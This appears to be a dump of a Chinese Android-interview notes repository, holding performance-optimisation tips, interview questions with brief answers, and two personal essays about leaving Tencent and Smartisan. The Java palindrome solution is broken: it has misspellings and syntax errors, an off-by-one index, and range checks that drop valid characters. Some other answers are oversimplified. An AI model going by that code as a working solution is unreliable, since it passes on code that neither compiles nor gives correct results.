想要使得Android系统上的网络访问操作更加的高效就必须做好网络数据的缓存。这是提高网络访问性能最基础的步骤之一。从手机的缓存中直接读取数据肯定比从网络上获取数据要更加的便捷高效，特别是对于那些会被频繁访问到的数据，需要把这些数据缓存到设备上，以便更加快速的进行访问。\n\n2. **Optimizing Network Request Frequencies** 首先我们要对网络行为进行分类，区分需要立即更新数据的行为和其他可以进行延迟的更新行为，为不同的场景进行差异化处理。其次要避免客户端对服务器的轮询操作，这样会浪费很多的电量与带宽流量。解决这个问题，我们可以使用Google Cloud Message来对更新的数据进行推送。然后在某些必须做同步的场景下，需要避免使用固定的间隔频率来进行更新操作，我们应该在返回的数据无更新的时候，使用双倍的间隔时间来进行下一次同步。最后更进一步，我们还可以通过判断当前设备的状态来决定同步的频率，例如判断设备处于休眠，运动等不同的状态设计各自不同时间间隔的同步频率。\n\n3. **Effective Prefetching** 到底预取多少才比较合适呢？一个比较普适的规则是，在3G网络下可以预取1-5Mb的数据量，或者是按照提前预期后续1-2分钟的数据作为基线标准。在实际的操作当中，我们还需要考虑当前的网络速度来决定预取的数据量，例如在同样的时间下，4G网络可以获取到12张图片的数据，而2G网络则只能拿到3张图片的数据。所以，我们还需要把当前的网络环境情况添加到设计预取数据量的策略当中去。判断当前设备的状态与网络情况，可以使用前面提到过的GCMNetworkManager。\n\n4. **Adapting to Latency** 一个典型的网络操作行为，通常包含以下几个步骤：首先手机端发起网络请求，到达网络服务运营商的基站，再转移到服务提供者的服务器上，经过解码之后，接着访问本地的存储数据库，获取到数据之后，进行编码，最后按照原来传递的路径逐层返回。常来说，我们可以把网络请求延迟划分为三档：例如把网络延迟小于60ms的划分为GOOD，大于220ms的划分为BAD，介于两者之间的划分为OK（这里的60ms，220ms会需要根据不同的场景提前进行预算推测）。\n\n5. **Minimizing Asset Payload** 为了能够减小网络传输的数据量，我们需要对传输的数据做压缩的处理，这样能够提高网络操作的性能。首先需要做的是减少图片的大小，其次需要做的是减少序列化数据的大小。\n\n6. **Service Performance Patterns** Service是Android程序里面最常用的基础组件之一，但是使用Service很容易引起电量的过度消耗以及系统资源的未及时释放。避免错误的使用Service，例如我们不应该使用Service来监听某些事件的变化，不应该搞一个Service在后台对服务器不断的进行轮询(应该使用Google Cloud Messaging)。如果已经事先知道Service里面的任务应该执行在后台线程(非默认的主线程)的时候，我们应该使用IntentService或者结合HanderThread，AsycnTask Loader实现的Service。\n\n7. **Removing unused code** Android为我们提供了Proguard的工具来帮助应用程序对代码进行瘦身，优化，混淆的处理。它会帮助移除那些没有使用到的代码，还可以对类名，方法名进行混淆处理以避免程序被反编译。\n\n8. **Removing unused resources** 所幸的是，我们可以使用Gradle来帮助我们分析代码，分析引用的资源，对于那些没有被引用到的资源，会在编译阶段被排除在APK安装包之外，要实现这个功能，对我们来说仅仅只需要在build.gradle文件中配置shrinkResource为true就好了\n\n9. **Perf Theory: Caching** 当我们讨论性能优化的时候，缓存是最常见最有效的策略之一。无论是为了提高CPU的计算速度还是提高数据的访问速度，在绝大多数的场景下，我们都会使用到缓存。\n\n10. **Perf Theory: Approximation(近似法)** 例如使用一张比较接近实际大小的图片来替代原图，换取更快的加载速度。所以对于那些对计算结果要求不需要十分精确的场景，我们可以使用近似法则来提高程序的性能。\n\n11. **Perf Theory: Culling(遴选，挑选)** 一个提高性能的方法是逐步对数据进行过滤筛选，减小搜索的数据集，以此提高程序的执行性能。例如我们需要搜索到居住在某个地方，年龄是多少，符合某些特定条件的候选人，就可以通过逐层过滤筛选的方式来提高后续搜索的执行效率。\n\n12. **Perf Theory: Threading** 使用多线程并发处理任务，从某种程度上可以快速提高程序的执行性能。对于Android程序来说，主线程通常也成为UI线程，需要处理UI的渲染，响应用户的操作等等。\n\n13. **Perf Theory: Batching** 网络请求的批量执行是另外一个比较适合说明batching使用场景的例子，因为每次发起网络请求都相对来说比较耗时耗电，如果能够做到批量一起执行，可以大大的减少电量的消耗。\n\n14. **Serialization performance** 数据序列化的行为可能发生在数据传递过程中的任何阶段，例如网络传输，不同进程间数据传递，不同类之间的参数传递，把数据存储到磁盘上等等。通常情况下，我们会把那些需要序列化的类实现Serializable接口(如下图所示)，但是这种传统的做法效率不高，实施的过程会消耗更多的内存。但是我们如果使用GSON库来处理这个序列化的问题，不仅仅执行速度更快，内存的使用效率也更高。Android的XML布局文件会在编译的阶段被转换成更加复杂的格式，具备更加高效的执行性能与更高的内存使用效率。\n\n15. **Smaller Serialized Data** 数据呈现的顺序以及结构会对序列化之后的空间产生不小的影响。\n\n16. **Caching UI data** 缓存UI界面上的数据，可以采用方案有存储到文件系统，Preference，SQLite等等，做了缓存之后，这样就可以在请求数据返回结果之前，呈现给用户旧的数据，而不是使用正在加载的方式让用户什么数据都看不到，当然在请求网络最新数据的过程中，需要有正在刷新的提示。至于到底选择哪个方案来对数据进行缓存，就需要根据具体情况来做选择了。\n\n17. **CPU Frequency Scaling** 调节CPU的频率会执行的性能产生较大的影响，为了最大化的延长设备的续航时间，系统会动态调整CPU的频率，频率越高执行代码的速度自然就越快。我们可以使用Systrace工具来导出CPU的执行情况，以便帮助定位性能问题。\n\n#### [Android性能优化典范 - 第5季](http://hukai.me/android-performance-patterns-season-5/)\n\n1. **Threading Performance** AsyncTask: 为UI线程与工作线程之间进行快速的切换提供一种简单便捷的机制。适用于当下立即需要启动，但是异步执行的生命周期短暂的使用场景。HandlerThread: 为某些回调方法或者等待某些任务的执行设置一个专属的线程，并提供线程任务的调度机制。ThreadPool: 把任务分解成不同的单元，分发到各个不同的线程上，进行同时并发处理。IntentService: 适合于执行由UI触发的后台Service任务，并可以把后台任务执行的情况通过一定的机制反馈给UI。\n\n2. **Understanding Android Threading** 通常来说，一个线程需要经历三个生命阶段：开始，执行，结束。线程会在任务执行完毕之后结束，那么为了确保线程的存活，我们会在执行阶段给线程赋予不同的任务，然后在里面添加退出的条件从而确保任务能够执行完毕后退出。\n\n3. **Memory & Threading** 不要在任何非UI线程里面去持有UI对象的引用。系统为了确保所有的UI对象都只会被UI线程所进行创建，更新，销毁的操作，特地设计了对应的工作机制(当Activity被销毁的时候，由该Activity所触发的非UI线程都将无法对UI对象进行操作，否者就会抛出程序执行异常的错误)来防止UI对象被错误的使用。\n\n4. **Good AsyncTask Hunting** AsyncTask虽然提供了一种简单便捷的异步机制，但是我们还是很有必要特别关注到他的缺点，避免出现因为使用错误而导致的严重系统性能问题。\n\n5. **Getting a HandlerThread** HandlerThread比较合适处理那些在工作线程执行，需要花费时间偏长的任务。我们只需要把任务发送给HandlerThread，然后就只需要等待任务执行结束的时候通知返回到主线程就好了。另外很重要的一点是，一旦我们使用了HandlerThread，需要特别注意给HandlerThread设置不同的线程优先级，CPU会根据设置的不同线程优先级对所有的线程进行调度优化。\n\n6. **Swimming in Threadpools** 线程池适合用在把任务进行分解，并发进行执行的场景。通常来说，系统里面会针对不同的任务设置一个单独的守护线程用来专门处理这项任务。\n\n7. **The Zen of IntentService** 默认的Service是执行在主线程的，可是通常情况下，这很容易影响到程序的绘制性能(抢占了主线程的资源)。除了前面介绍过的AsyncTask与HandlerThread，我们还可以选择使用IntentService来实现异步操作。IntentService继承自普通Service同时又在内部创建了一个HandlerThread，在onHandlerIntent()的回调里面处理扔到IntentService的任务。所以IntentService就不仅仅具备了异步线程的特性，还同时保留了Service不受主页面生命周期影响的特点。\n\n8. **Threading and Loaders** 当启动工作线程的Activity被销毁的时候，我们应该做点什么呢？为了方便的控制工作线程的启动与结束，Android为我们引入了Loader来解决这个问题。我们知道Activity有可能因为用户的主动切换而频繁的被创建与销毁，也有可能是因为类似屏幕发生旋转等被动原因而销毁再重建。在Activity不停的创建与销毁的过程当中，很有可能因为工作线程持有Activity的View而导致内存泄漏(因为工作线程很可能持有View的强引用，另外工作线程的生命周期还无法保证和Activity的生命周期一致，这样就容易发生内存泄漏了)。除了可能引起内存泄漏之外，在Activity被销毁之后，工作线程还继续更新视图是没有意义的，因为此时视图已经不在界面上显示了。\n\n9. **The Importance of Thread Priority** 在Android系统里面，我们可以通过android.os.Process.setThreadPriority(int)设置线程的优先级，参数范围从-20到24，数值越小优先级越高。Android系统还为我们提供了以下的一些预设值，我们可以通过给不同的工作线程设置不同数值的优先级来达到更细粒度的控制。\n\n10. **Profile GPU Rendering : M Update** 从Android M系统开始，系统更新了GPU Profiling的工具来帮助我们定位UI的渲染性能问题。早期的CPU Profiling工具只能粗略的显示出Process，Execute，Update三大步骤的时间耗费情况。\n\n#### [官方性能优化系列教程](https://www.youtube.com/playlist?list=PLWz5rJ2EKKc9CBxr3BVjPTPoDPLdPIFCE)\n\n### 架构分析\n\n[MVVM](http://tech.meituan.com/android_mvvm.html)\n\n[MVP](https://code.tutsplus.com/series/how-to-adopt-model-view-presenter-on-android--cms-1012)\n\n### 阿里面试题\n\n#### 进程间通信方式\n\n1. 通过Intent在Activity、Service或BroadcastReceiver间进行进程间通信，可通过Intent传递数据\n2. AIDL方式\n3. Messenger方式\n4. 利用ContentProvider\n5. Socket方式\n6. 基于文件共享的方式\n\n#### 什么是协程\n\n我们知道多个线程相对独立，有自己的上下文，切换受系统控制；而协程也相对独立，有自己的上下文，但是其切换由自己控制，由当前协程切换到其他协程由当前协程来控制。\n\n#### 内存泄露是怎么回事\n\n由忘记释放分配的内存导致的\n\n#### 程序计数器，引到了逻辑地址（虚地址）和物理地址及其映射关系\n\n虚拟机中的程序计数器是Java运行时数据区中的一小块内存区域，但是它的功能和通常的程序计数器是类似的，它指向虚拟机正在执行字节码指令的地址。具体点儿说，当虚拟机执行的方法不是native的时，程序计数器指向虚拟机正在执行字节码指令的地址；当虚拟机执行的方法是native的时，程序计数器中的值是未定义的。另外，程序计数器是线程私有的，也就是说，每一个线程都拥有仅属于自己的程序计数器。\n\n#### 数组和链表的区别\n\n数组是将元素在内存中连续存放，由于每个元素占用内存相同，可以通过下标迅速访问数组中任何元素。但是如果要在数组中增加一个元素，需要移动大量元素，在内存中空出一个元素的空间，然后将要增加的元素放在其中。同样的道理，如果想删除一个元素，同样需要移动大量元素去填掉被移动的元素。如果应用需要快速访问数据，很少或不插入和删除元素，就应该用数组。\n\n链表恰好相反，链表中的元素在内存中不是顺序存储的，而是通过存在元素中的指针联系到一起。比如：上一个元素有个指针指到下一个元素，以此类推，直到最后一个元素。如果要访问链表中一个元素，需要从第一个元素开始，一直找到需要的元素位置。但是增加和删除一个元素对于链表数据结构就非常简单了，只要修改元素中的指针就可以了。如果应用需要经常插入和删除元素你就需要用链表数据结构了。\n\n#### 二叉树的深度优先遍历和广度优先遍历的具体实现\n\nhttp://www.i3geek.com/archives/794\n\n#### 堆的结构\n\n年轻代（Young Generation）、年老代（Old Generation）和持久代（Permanent \nGeneration）。其中持久代主要存放的是Java类的类信息，与垃圾收集要收集的Java对象关系\n不大。年轻代和年老代的划分是对垃 圾收集影响比较大的。\n\n#### bitmap对象的理解\nhttp://blog.csdn.net/angel1hao/article/details/51890938\n\n#### 什么是深拷贝和浅拷\n\n浅拷贝：使用一个已知实例对新创建实例的成员变量逐个赋值，这个方式被称为浅拷贝。\n深拷贝：当一个类的拷贝构造方法，不仅要复制对象的所有非引用成员变量值，还要为引用类型的成员变量创建新的实例，并且初始化为形式参数实例值。这个方式称为深拷贝\n\n#### 对象锁和类锁是否会互相影响\n\n对象锁：Java的所有对象都含有1个互斥锁，这个锁由JVM自动获取和释放。线程进入synchronized方法的时候获取该对象的锁，当然如果已经有线程获取了这个对象的锁，那么当前线程会等待；synchronized方法正常返回或者抛异常而终止，JVM会自动释放对象锁。这里也体现了用synchronized来加锁的1个好处，方法抛异常的时候，锁仍然可以由JVM来自动释放。\n\n类锁： 对象锁是用来控制实例方法之间的同步，类锁是用来控制静态方法（或静态变量互斥体）之间的同步。其实类锁只是一个概念上的东西，并不是真实存在的，它只是用来帮助我们理解锁定实例方法和静态方法的区别的。我们都知道，java类可能会有很多个对象，但是只有1个Class对象，也就是说类的不同实例之间共享该类的Class对象。Class对象其实也仅仅是1个java对象，只不过有点特殊而已。由于每个java对象都有1个互斥锁，而类的静态方法是需要Class对象。所以所谓的类锁，不过是Class对象的锁而已。获取类的Class对象有好几种，最简单的就是MyClass.class的方式。\n\n类锁和对象锁不是同1个东西，一个是类的Class对象的锁，一个是类的实例的锁。也就是说：1个线程访问静态synchronized的时候，允许另一个线程访问对象的实例synchronized方法。反过来也是成立的，因为他们需要的锁是不同的。\n\n#### looper架构\nhttp://wangkuiwu.github.io/2014/08/26/MessageQueue/\n\n#### 自定义控件原理\nhttp://www.jianshu.com/p/988326f9c8a3\n\n#### binder工作原理\nBinder是客户端和服务端进行通讯的媒介\n\n#### ActivityThread，Ams，Wms的工作原理\nActivityThread: 运行在应用进程的主线程上，响应 ActivityManangerService 启动、暂停Activity，广播接收等消息。\n\nams:统一调度各应用程序的Activity、内存管理、进程管理\n\n#### Java中final，finally，finalize的区别\n\n- final 用于声明属性，方法和类， 分别表示属性不可变， 方法不可覆盖， 类不可继承\n- finally 是异常处理语句结构的一部分，表示总是执行\n- finalize 是Object类的一个方法，在垃圾收集器执行的时候会调用被回收对象的此方法，可以覆盖此方法提供垃圾收集时的其他资源回收，例如关闭文件等. JVM不保证此方法总被调用\n\n#### 一个文件中有100万个整数，由空格分开，在程序中判断用户输入的整数是否在此文件中。说出最优的方法\n\n#### 两个进程同时要求写或者读，能不能实现？如何防止进程的同步？\n\n#### volatile 的意义？\n\n防止CPU指令重排序\n\n#### 单例\n\n```java\npublic class Singleton{\nprivate volatile static Singleton mSingleton;\nprivate Singleton(){\n}\npublic static Singleton getInstance(){\n  if(mSingleton == null){\\\\A\n    synchronized(Singleton.class){\\\\C\n     if(mSingleton == null)\n      mSingleton = new Singleton();\\\\B\n      }\n    }\n    return mSingleton;\n  }\n}\n```\n\n#### Given a string, determine if it is a palindrome（回文，如果不清楚，按字面意思脑补下）, considering only alphanumeric characters and ignoring cases.  \n\nFor example,  \"A man, a plan, a canal: Panama\" is a palindrome.  \"race a car\" is not a palindrome.  \n\nNote:  Have you consider that the string might be empty? This is a good question to ask during an interview.  For the purpose of this problem, we define empty string as valid palindrome.\n\n```java\npublic boolean isPalindrome(String palindrome){\n\t\tchar[] palindromes = palidrome.toCharArray();\n \t\tif(palindromes.lengh == 0){\n\t \t\treturn true\n \t\t}\n \t\tArraylist<Char> temp = new Arraylist();\n \t\tfor(int i=0;i<palindromes.length;i++){\n \t\tif((palindromes[i]>'a' && palindromes[i]<'z')||palindromes[i]>'A' && palindromes[i]<'Z')){\n \t\ttemp.add(palindromes[i].toLowerCase());\n \t\t}\n\t\t}\n \t\tfor(int i=0;i<temp.size()/2;i++){\n \t\tif(temp.get(i) != temp.get(temp.size()-i)){\n \t\t//\n \t\treturn false;\n \t\t}\n \t\t}\n \t\treturn true;\n}\n```\n\n#### 烧一根不均匀的绳，从头烧到尾总共需要1个小时。现在有若干条材质相同的绳子，问如何用烧绳的方法来计时一个小时十五分钟呢\n用两根绳子，一个绳子两头烧，一个一头烧。\n\n### 腾讯\n\n- 2000万个整数，找出第五十大的数字？\n  冒泡、选择、建堆\n\n- 从网络加载一个10M的图片，说下注意事项\n  图片缓存、异常恢复、质量压缩\n\n- 自定义View注意事项\n  渲染帧率、内存\n\n- 项目中常用的设计模式\n  单例、观察者、适配器、建造者\n\n- JVM的理解\n  http://www.infoq.com/cn/articles/java-memory-model-1"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/工作三年后，我选择离开腾讯.md",
    "content": "> 来源：微信公众号「LJ 说」，id：「LjNotes」。\n\n“你居然要从腾讯离职了！？”\n\n这是身边朋友得知我要离开后的反应，似乎大家都难以理解这样的决定。\n\n从行业环境来看，中国互联网正处于一派繁荣之境；从公司形势来看，也正要准备大刀阔斧地干一番大事业；从个人发展来看，自己在公司也会担任越来越重要的角色。\n\n所有的环境都是好的，更加显得离职的决策不理智。\n\nHR 系统弹窗给出最后的挽留：你确定要提交离职申请吗？\n\n经过各种综合考虑后，我还是点了“确定”按钮，正式从工作了三年的腾讯离职。\n\n一直有朋友问，在腾讯的工作感觉怎么样？\n\n关于这个问题，从来没有好好思考过，觉得当局者迷，尽量做好手上工作就是了。\n\n现在终于有时间梳理一番。\n\n回想起这几年的经历，既有取得成就的喜悦，也有遭受挫折的失落，个中唏嘘，在离开之际，希望与你分享一二。\n\n## 大公司之病\n\n![img](../assets/腾讯.png)\n\n3 年前，我面试完，从腾讯出来，融入了深南大道熙熙攘攘的下班人群中。\n\n在过天桥的时候，我特意拍了一张腾大的夜景，留作纪念，表示我终于要到腾讯上班了。\n\n虽然还没正式通知，不过凭着面试反馈，我知道自己终究还是要进入这家梦寐已久的公司了。\n\n3 年后，同样是腾讯大厦，我站的位置已经发生改变。\n\n从外面的仰望变成了里面的远眺，心情体会也随之改变。\n\n只要在大型企业工作过的人，都会被大公司病深深困扰着。\n\n### 你厉害还是平台厉害\n\nBAT 的光环是非常牛逼的，它意味着你进入国内任何一家互联网公司都畅通无阻，它意味着你可以对外分享自己的经验和心得，享受着他人崇拜的目光。\n\n然而，在一家几万人的巨头企业，几乎每个人都是一个普通员工，毫无存在感可言，其中滋味就如人饮水，冷暖自知。\n\n看《权利的游戏》，我在想，龙妈拥有三条喷火巨龙，为什么还要四处斡旋、拉帮结派，直接骑着三条龙到处喷火，不早就征服七大王国了吗。\n\n直到有一幕场景，大龙“Drogo”在斗兽场，被很多小兵拿着矛乱刺，身受重伤，我才反应过来，不管龙妈和她的三条龙再厉害，始终赢不了训练有素的军队。\n\n这就是大企业的一个缩影。\n\n公司征战，并不需要一个能斗天斗地的英雄，而是需要一支能打仗的队伍。\n\n尽管在招聘的时候，大公司往往会筛选出最厉害的一批人，但这并不代表着每个人都举足轻重。\n\n事实上，不管你是清北名校毕业光环加持，还是二三本拼搏多年进入大平台，公司想要的结果其实都一样。\n\n公司希望每个一线的员工坚守着自己一亩三分地，不需要你把控全局，不需要你战略思考，只要努力地当好螺丝钉。\n\n每个人手上分到一小块工作，然后在未来的很长一段时间内，不断地重复着这个工作，成为这个小模块的“专家”。\n\n负责个性化皮肤的，可能几年内都在钻研怎么把更多皮肤卖出去；写文案的，长年累月地追着微博热点写文章；做渠道运营的，风雨无阻地盯着各个渠道把自己的广告上线……\n\n并不是说公司不重视个人创造力，恰恰相反，公司希望的是大家发挥创造力，把自己变成更可靠的螺丝钉，成为一个更靠谱的零部件。\n\n全公司上下形成一股合力，用军队的方式赢得战争。\n\n赢的方式，不是靠武艺高超的英雄，而是让所有人在统一指挥下，移动、格挡、举矛、刺杀，每个动作都如此简单，但千军万马在一起，就能击破对手。\n\n这也就意味着铁打的营盘流水的兵，在大平台工作，一件事情成功之后，很容易让人觉得是因为自己牛逼，其实真正的原因是平台的力量。\n\n同一件事情，放张三能做成，放李四也 OK。\n\n在这里，你不是英雄，你是一个日夜训练着重复动作的小兵。更可悲的是，对于绝大部分人而言，公司压根没计划让你成为一个英雄或将军。\n\n你只是千军万马中的一员，平台缺少了你，马上能找到一个人填补上去，而你一旦离开了平台，就会发现很难再复制以往的成功。\n\n### 无尽的流程和制度\n\n把大象放进冰箱一共要三步：打开冰箱门、放进大象、关上冰箱门。\n\n但是在大公司，这个流程就远不止三步了。\n\n你要给个报告写清楚把大象放到冰箱的意义和重要性，搞清楚哪种冰箱放哪种大象，把开门动作、放大象的路线描绘清楚，把关门的力度写出来，拿着完整的方案找项目经理去排期，直到有人力来把大象放进冰箱。\n\n一个产品或功能，从无到有需要经历漫长的流程。一个大企业的员工，每天为制度所困。\n\n某些产品一两年内都没有可感知的外观变化，例如微信，有人就会问这么多工作人员都在忙些什么呢。\n\n其实工作人员都很忙，忙在了“流程”和“制度”上。\n\n当你们是一个三五人的创业团队，大家就坐在一起，有事情吼一声就可以。比如说想要做一个功能改变，可能就是抬起头跟对面的开发说要怎么怎么改，半天之后就能在产品上看到了。线上反馈好，就保留，反馈不好就改回来，不过是几个小时的事情。\n\n然而，对于一个巨型产品来说，所有人的 80% 精力并不是在做“正经的工作”。\n\n每个产品经理电脑上都躺着十几份写好的需求文档，在等候着漫长的项目排期。等排期终于到了的时候，有的需求已经不再适用了，或者写它的产品经理已经走了，要是需求和人都还在的话，那就要谢天谢地，守得云开见明月，终于要上线了。\n\n每个开发脑子里都存放着许多改进方案，很多可能就是改一行代码的事情，但是不能擅自改动，所有的改动都应该以产品需求为主，否则出了问题那就闯大祸了。\n\n遇到跨团队、跨部门沟通，更加是考验人的忍耐力，找一个接口人要花上大半天。对方要么不回复，要么回一句“这不是我负责的”。好不容易对接上了，好家伙，群里面出现四五个接口人，每个人都得交待一遍来龙去脉。\n\n除此之外，每个人身上还背负着各种会议、分享、周报月报，PPT 模板成了最受欢迎的文件。\n\n能够安心写代码、写需求的时间，算下来也许还真的没有20%。但工作还是要完成的，于是就只好加班加班，成为了互联网行业的一大特色。\n\n流程制度是一个好东西，也是一个坏东西。\n\n好的地方在于保证企业这条大船高效率地运转，坏的地方在于牺牲了个人效率来满足集体的效率。\n\n### 逃不过的修罗场\n\n对于大企业工作的朋友，是万万不能问什么时候升职的。就像不能问魏忠贤魏公公什么时候生个小孩，这是要杀头的大罪。\n\n越是受过高等教育的人，越是想着要改变世界。当初怀着远大的志向进入大公司，想要施展拳脚做一件不凡的事情。\n\n但几年后，大多数人的志气早已被磨消。修身齐家治国平天下，他们连修身都做不好。\n\n眼看着身边的朋友在中小公司鹤立鸡群，一路扶摇直上，成为有决策权的管理者，而自己只是数年如一日地坐在小隔间，每周想着如何跟老板汇报工作。\n\n也许离 CEO 的办公室只有十米不到的距离，也许每天还能跟几个高管寒暄一下，似乎离他们好近，但是心里明白这种阶层的差距是一道无法逾越的鸿沟。\n\nHR 在设计个人发展体系的时候，给每个人都提供了两种路径，一个是专业能力晋级，一个是管理职能晋升。\n\n所有人都能在专业能力通道上一步步地打怪升级，最终成为高级产品经理、高级工程师，甚至专家 xx。\n\n但是在管理通道上，坑位就那么几个，而且大企业内具有管理头衔的人流动性远远低于普通员工，于是国企中“一个萝卜一个坑”的现象在创新的互联网企业同样存在。\n\n不少人已经工作十多年，但仍然是一线普通员工。\n\n至于谁能晋升，这个话题，不说也罢。\n\n要是运气不好，赶上了“宫廷大戏”，轻则工作上举步维艰，重则随着失败一方的领导一起离开。\n\n这里就是一个几万人的修罗场，陷于其中的人，个个都身不由己。\n\n## 外面的世界很精彩？\n\n![img](../assets/腾讯2.jpg)\n\n前面说了那么多，你可能会以为我在痛陈大公司的弊端，但这并非我本意。\n\n我并没有在真正意义上的创业团队工作过，但也有过小团队的经历，加上平时和不少创业团队的朋友交流，对小公司的辛酸也是略知一二。总结起来，不过是几个字：人少事杂、管理混乱、野蛮生长。\n\n### 人少事杂\n\n在小团队，可能出现最多的头衔是“全栈 xx”，这并不是说明他有多厉害，而是在一个人手不足的团队中，每个人可能都身兼数职。\n\n写前端页面的，可能没人把写好的接口交给你，而是需要自己写服务器脚本、自己调优数据库，还得自己盯着运维数据，宕机了得马上修复。\n\n做产品的，不是只打开 word 来写需求文档，用户调研、交互图得自己做，上线后的运营还得自己跟。\n\n做运营的，更加是无所不包，大到策划一个线上活动，小到做客服回答用户的咨询。\n\n每个人也很忙，似乎什么都能做。\n\n这也是小团队吸引人的噱头，能对付过来的人，就成为一个真正的“全栈”，疲于奔命的人，就什么都做什么都学不精。\n\n### 管理混乱\n\n小团队是否意味着效率高呢，其实也可能存在更加胡乱的管理。\n\n曾听朋友讲过他的经历。一个普通员工，需要同时向两个领导汇报，而两个领导还经常互掐，于是该朋友就一脸懵逼了，经常接收到两个完全相反的指令。\n\n还有可能，前一周刚刚跟另外一个团队开完会，达成决定做个方案，下周再找他们就发现整个团队被老板裁撤了。\n\n又或者，团队在短时间内爆发性增长，为了融资，为了数字，找来了一批新人，大家都面面相觑，不知道谁该做什么，本来公司也并不是因为业务需要而招新人，所以干脆大家都逛淘宝、刷微博。\n\n如果说大公司内部的身不由己还有章可循，小公司的变化就是充满着惊喜。\n\n### 野蛮生长\n\n大公司令人艳羡的地方就是有很多现成的基础服务，而在小团队干活的人都会非常痛苦，大多时候都需要自己造轮子。\n\nCDN 网络需要自己搭建，大数据平台需要自己开发，账号体系需要自己建设，支付系统需要从零开始……\n\n一个最简单的例子，大公司有成熟的数据体系，每个可以看各种各样的报表，以便调整运营策略，但是小团队可能看个数据就需要提导数据的需求，等到一两周之后才能看到。\n\n从一片荒芜中把业务从零开始做起来，是一件很锻炼人的事情，但其实背后更多的是资源浪费。\n\n## 都是围城\n\n![img](../assets/腾讯3.jpg)\n\n万物皆有裂痕，要看到裂痕中照进来的光，而不是裂痕本身。\n\n一位长者曾说过，一个人的命运啊，当然要靠自我奋斗，但也要考虑到历史进程。\n\n历史的进程和外部的环境，都是我们所不能控制的，但是说到自我奋斗的话，大公司却提供了温暖的襁褓。\n\n### 在正规化中成长\n\n流程制度的反面就是“正规化”。\n\n当有人问我要不要去大公司的时候，我都会回答，如果有合适的机会就去吧。不为别的，就为了体验这种正规化的流程制度。\n\n管理两三个人的时候可以靠命令，管理二三十个人的时候可以凭个人魅力，管理几百人、上万人就只能依赖于流程制度了。\n\n前面说过流程是牺牲个人效率满足集体效率，从个人成长而言，依然能从中学习到受益终身的东西。\n\n你可以知道一个业务从零到一是怎么搭建团队的，各个团队通过什么样的流程进行配合，各司其职代表着每个环节都能产出精品，于是你就知道一个优秀的作品应该是怎么样的，以后碰到类似的场景就有经验了。\n\n总而言之，身处在“正规军”当中，虽然自己只是其中的普通一员，但是也可以耳濡目染地学习到最顶尖的产品是如何打造出来的。\n\n当然，前提是你有心去了解和学习。\n\n### 站在巨人肩膀上\n\n大公司汇聚了最优秀的资源，包括人才、技术、资金、经验等。\n\n在平时，如果你想了解或钻研某一事物，往往能在内网上找到独家优质的经验分享。\n\n更进一步，可以直接联系这个领域的高手咨询请教。内部使用的软件，上至 CEO 下至电脑维修小哥，都静静地躺在好友列表里，等着你联系。\n\n在大公司工作的人，是真正的能做到聚焦于业务逻辑本身，而不用被琐碎的杂事打扰。\n\n行政上，公司配备了饭堂、班车、体检、节假日福利、家人福利等等，让你能安心地工作。\n\n业务上，有专门的基础服务部门，IT设备、开发组件、大数据平台、安全防御、用户数据等等，都可以拿来马上用。\n\n个人成长上，虽然不是每个人都能平步青云，但是完善的薪酬福利让每个人都能获得相对合理的回报，各种培训让大家都能适当跳出舒适区获得成长。\n\n这些基础服务都是十多年无数人的心血积累，可想而知，站在这样一个巨人的肩膀上，新人可以获得更高速的成长。\n\n### 围城里外的人\n\n前段时间见到一位大学好友，在外闯荡多年，辗转了几个公司，现在已经是带着小团队的“总监”。\n\n我说，这几年间你升职加薪，走上人生巅峰，让人好生羡慕啊。最重要的是可以根据自己想法去实施一些方案，而不会被束手束脚，跟随着高速成长的公司也能让自己的思维和能力快速成长。\n\n而他谈到小公司的经历，眼中难掩失落，反而羡慕大公司内提供的坚实后盾。更让我惊讶的是他其实已经在找BAT的机会，准备年后就进入巨头企业了，即使放弃管理者的头衔做一个普通员工。\n\n所以你看啊，大公司就是一座围城，外面的人想进去，里面的人想出来。\n\n而他们想进去或想出来的原因，其实都是一样的东西。"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/我为什么离开锤子科技？.md",
    "content": "我在2015年3月入职锤子科技，最近几天离职，现在特别想把这不到两年的时间里的经历和我对这家公司的想法写下来。最近一段时间公司发生了大面积的裁员，但是我并不属于这一次陆陆续续的裁员的范围，而是自己提出离职的，最后发生了一些不愉快的事情，后面也会提到。\n\n我2012年本科毕业的时候对自己要去什么样的公司完全没有概念，我的专业是软件工程，但是当时不想去任何一家IT 公司，于是我选择了出国留学。锤子科技是2012年5月份创立的，我在大学期间是一名典型的罗粉，但就是这样我还是没有太关心这家由老罗创立的公司，心里甚至觉得老罗有玩票的嫌疑，而且那个时候出国的手续基本办完了，所以也有点行色匆匆的意思，就没有特别关注这家公司。\n\n锤子科技的第一个ROM是在2013年3月份发布的，当时人在国外，全程看了发布会的回放，我第一时间刷了这个ROM，虽然问题多多，但是非常喜欢这个系统的很多细节。我第一次动念头想要去锤子科技上班是T1 发布会之后，当时T1 发布之后我也是属于第一批预定的用户。因为我是南方人，回国后找工作简历直接先投了锤子科技，因为如果不行，我是不太可能来北京工作的。当然从面试到最后入职都很顺利，我入职的时候差不多是T2 这个项目刚开始的时候。说到当时入职锤子科技我还是比较感激公司的，因为这是我的第一份工作，之前没有任何Android 相关的开发经验。入职之后知道公司在当时项目非常紧张，需要来了就能干活的人·。想到公司愿意招我这个新人，我心里是有几分侥幸和感谢的。\n\n锤子科技在科技圈的公司里可能算名气比较大的企业了，对于它的各种说法和想法都很多，这两年时间确实和公司一起经历了很多。但是在这个时候我最想提的一个点是公司的一次营销活动，就是让大家参与进来以“天生骄傲”为题写一些自己天生骄傲的经历。我觉得这个可能是这个公司最吸引我的点，也是我作为一个罗粉，老罗最吸引我的点，就是有一种永远要做正确的事情的骄傲。\n\n我还记得的一个“天生骄傲”的故事是老罗转发的一则，一个人因为工作原因用车很多，他开的是自己的车但是公司会给他报油费，他每次会特别留心记下哪些是因为工作原因用车，哪些不是，每次向公司报销的时候，会去掉平时非工作用车的里程数。·我记得原作者的表达要更让我震撼一些，我自己转述的有点啰嗦，反正意思是差不多的。刚到公司那一会我的确相信这是一家天生骄傲的公司，并且可能是由内而外的，并不简单是公司的营销策略。\n\n因为就我当时的观察，来锤子科技入职的同事，有一部分是和我一样的罗粉，他们可能是被相同的价值观吸引来的。还有一部分在入职之前并不知道老罗是谁，但是加入公司之后对这种价值观是很认同的，当然这肯定不包括所有的同事，但我想在我入职那会儿应该包括了大部分同事。但是现在是不是这样，甚至是否公司还能相信自己天生骄傲，我都是不敢确信的。\n\n我一直觉得，我的性格是那种，如